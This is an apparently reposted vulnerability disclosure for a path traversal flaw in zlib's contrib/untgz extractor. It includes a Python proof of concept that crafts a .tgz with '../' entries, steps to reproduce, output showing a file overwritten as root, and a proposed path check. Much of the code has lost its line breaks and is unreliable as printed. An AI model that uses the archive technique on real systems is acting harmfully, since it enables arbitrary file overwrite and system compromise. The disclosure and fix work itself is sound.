当前位置: 首页 > news >正文

Path Traversal Vulnerability in zlib untgz ≤ 1.3.1

Title: Path Traversal Vulnerability in zlib untgz ≤ 1.3.1

BUG_Author: mifya

Affected Version: zlib ≤ 1.3.1.2

Vendor: zlib Official Website

Software: zlib - contrib/untgz

Vulnerability Files:

  • contrib/untgz/untgz.c

Description:

A path traversal vulnerability exists in the untgz utility bundled with zlib versions up to and including 1.3.1. The vulnerability allows an attacker to write arbitrary files outside the intended extraction directory by crafting a malicious .tgz archive containing filenames with directory traversal sequences (e.g., ../).

Root Cause Analysis:

  1. Unsafe File Path Handling:

    • In the file contrib/untgz/untgz.c, the tar() function (lines 385-575) directly uses filenames from the tar archive header without proper sanitization.
    • Specifically, at line 439, the filename is copied from the tar header:
      strncpy(fname, buffer.header.name, SHORTNAMESIZE);
      
    • At line 481, this unsanitized filename is used to create files:
      outfile = fopen(fname, "wb");
      
  2. Missing Path Validation:

    • The code does not check for or filter out ../ sequences in filenames.
    • The code does not verify that extracted files remain within the intended extraction directory.
    • Absolute paths (starting with /) are also not blocked.
  3. Impact:

    • An attacker can craft a malicious .tgz archive that, when extracted, writes files to arbitrary locations on the filesystem.
    • If untgz is run with elevated privileges (e.g., root), this can lead to:
      • Arbitrary file overwrite (e.g., /etc/passwd, /etc/shadow)
      • Remote code execution via overwriting startup scripts or cron jobs
      • Complete system compromise

Proof of Concept:

Step 1: Create Malicious Archive

Create a Python script to generate a malicious .tgz file:

#!/usr/bin/env python3
import tarfile
import gzip
import iodef create_malicious_tgz(output_path):tar_buffer = io.BytesIO()with tarfile.open(fileobj=tar_buffer, mode='w') as tar:# Malicious path traversal payloadmalicious_filename = "../../../tmp/pwned_by_path_traversal.txt"content = b"PATH TRAVERSAL VULNERABILITY EXPLOITED!\n"content += b"This file was written outside the extraction directory.\n"info = tarfile.TarInfo(name=malicious_filename)info.size = len(content)info.mode = 0o644tar.addfile(info, io.BytesIO(content))with gzip.open(output_path, 'wb') as f:f.write(tar_buffer.getvalue())print(f"[+] Created malicious archive: {output_path}")if __name__ == "__main__":create_malicious_tgz("malicious.tgz")

Step 2: Compile Vulnerable untgz

cd zlib-1.3.1
./configure && make
cd contrib/untgz
gcc -O3 -I../.. -L../.. -o untgz untgz.c -lz

Step 3: Execute the Exploit

# Create test directory
mkdir -p /tmp/test_extract
cd /tmp/test_extract# Run untgz to extract malicious archive
LD_LIBRARY_PATH=/path/to/zlib-1.3.1 /path/to/untgz /path/to/malicious.tgz

Step 4: Verify Exploitation

# Check if file was written outside extraction directory
cat /tmp/pwned_by_path_traversal.txt

Expected Output:

PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

Exploitation Evidence:

$ cd /tmp/test_extract
$ untgz malicious.tgz
Extracting ../../../tmp/pwned_by_path_traversal.txt$ cat /tmp/pwned_by_path_traversal.txt
PATH TRAVERSAL VULNERABILITY EXPLOITED!
This file was written outside the extraction directory.

When running as root:

root@host:/tmp/test_extract# untgz malicious_root.tgz
Extracting ../../../../../../../../testtestroot@host:/tmp/test_extract# cat /testtest
PWNED BY PATH TRAVERSAL!
This proves arbitrary file overwrite vulnerability.
If you see this, the root-owned file was overwritten!

image-20260122111459115


Vulnerable Code Snippet:

File: contrib/untgz/untgz.c

// Line 439: Filename copied directly from tar header without sanitization
strncpy(fname, buffer.header.name, SHORTNAMESIZE);
if (fname[SHORTNAMESIZE-1] != 0)fname[SHORTNAMESIZE] = 0;// ... later ...// Line 481: Unsanitized filename used to create file
outfile = fopen(fname, "wb");

Suggested Fix:

Add path validation before file creation:

int is_path_safe(const char *path) {// Reject path traversal sequencesif (strstr(path, "..") != NULL) return 0;// Reject absolute pathsif (path[0] == '/') return 0;// Reject backslash traversal (Windows)if (strstr(path, "..\\") != NULL) return 0;return 1;
}// Before fopen():
if (!is_path_safe(fname)) {fprintf(stderr, "Skipping unsafe path: %s\n", fname);continue;
}
outfile = fopen(fname, "wb");
http://www.jsqmd.com/news/283757/

相关文章:

  • 基于CodeSys和Raspberry Pi制作简单PLC
  • 8.6 统一标准:OpenTelemetry 核心概念与全链路追踪实现
  • 【2026最新】大模型学习指南:零基础入门,从概念到应用,程序员必备,建议收藏!
  • 2022年深圳中学自招真题(答案版)
  • 时序数据库 Apache IoTDB V2.0.6/V1.3.6 发布|新增查询写回功能,优化查询与同步性能
  • 2026年低楼层微通风系统窗定制源头厂家排名,阜积铝业表现亮眼
  • 【2026】 LLM 大模型系统学习指南 (14)
  • 收藏!2026招聘市场回暖,AI岗位供需反转下程序员的破局指南
  • expect脚本自动化地执行linux环境下的命令行交互任务
  • 2026链板提升机市场盘点:哪些企业值得信赖,密封输送机/大倾角输送机/全封闭输送机/上料提升机,提升机实力厂家联系电话
  • 收藏备用|Java程序员转型AI大模型指南:从入门到实战
  • 8.5 进阶实战:Thanos 高可用架构与多租户监控方案落地
  • 8.4 告警策略:Alertmanager 配置指南与告警降噪最佳实践
  • 深聊包饺子要放什么调料更香,鸿禄食品调味品选哪家好?
  • 【2026】 LLM 大模型系统学习指南 (15)
  • 告别选择困扰!为您推荐国内符合国标的高低温拉力试验机实力厂家!
  • 9.1 永不宕机三板斧:探针、资源配额与弹性伸缩的协同作战
  • 收藏!大模型赛道全指南:就业竞争力打造+保研路径规划(2026小白必看)
  • 深度收藏:从大厂JD看AI Agent开发学习路线,从小白到大厂必备技能
  • 2026年辽宁裁断机生产厂家排行榜,前十强都有谁?
  • 2026口碑好的关务咨询机构有哪些?行业精选推荐
  • 收藏备用!一文搞懂RAG与Agentic RAG:大模型进阶必备知识
  • 2026年靠谱的小区保安公司高评价榜排名
  • 2026年搅拌装备资深厂商排名,双月环保实力上榜!
  • 基于STM32单片机消防小车灭火机器人防撞温度烟雾火灾APP设计S380(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码
  • 快递打包机推荐厂商哪家好,华领机械值得考虑?
  • 青岛研究生留学中介口碑排名:哪家申请成功率高?专业推荐在此
  • 泉州最好的研究生留学中介,申请成功率高,服务全面专业可靠
  • 2026年北京潘家园知名的儿童眼镜店排行榜,至美上品儿童视光中心在列!
  • 基于STM32单片机两轮自平衡小车PID控制锂电池陀螺仪APP设计S376(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码